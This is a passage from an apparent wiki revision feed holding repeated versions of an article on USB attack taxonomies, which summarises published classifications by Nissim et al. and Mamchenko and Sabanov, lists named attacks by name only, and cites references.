# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17054</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17054"/>
		<updated>2024-12-13T13:50:19Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices &amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17053</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17053"/>
		<updated>2024-12-13T13:49:07Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices &amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17052</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17052"/>
		<updated>2024-12-13T13:46:57Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Introduction */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices &amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
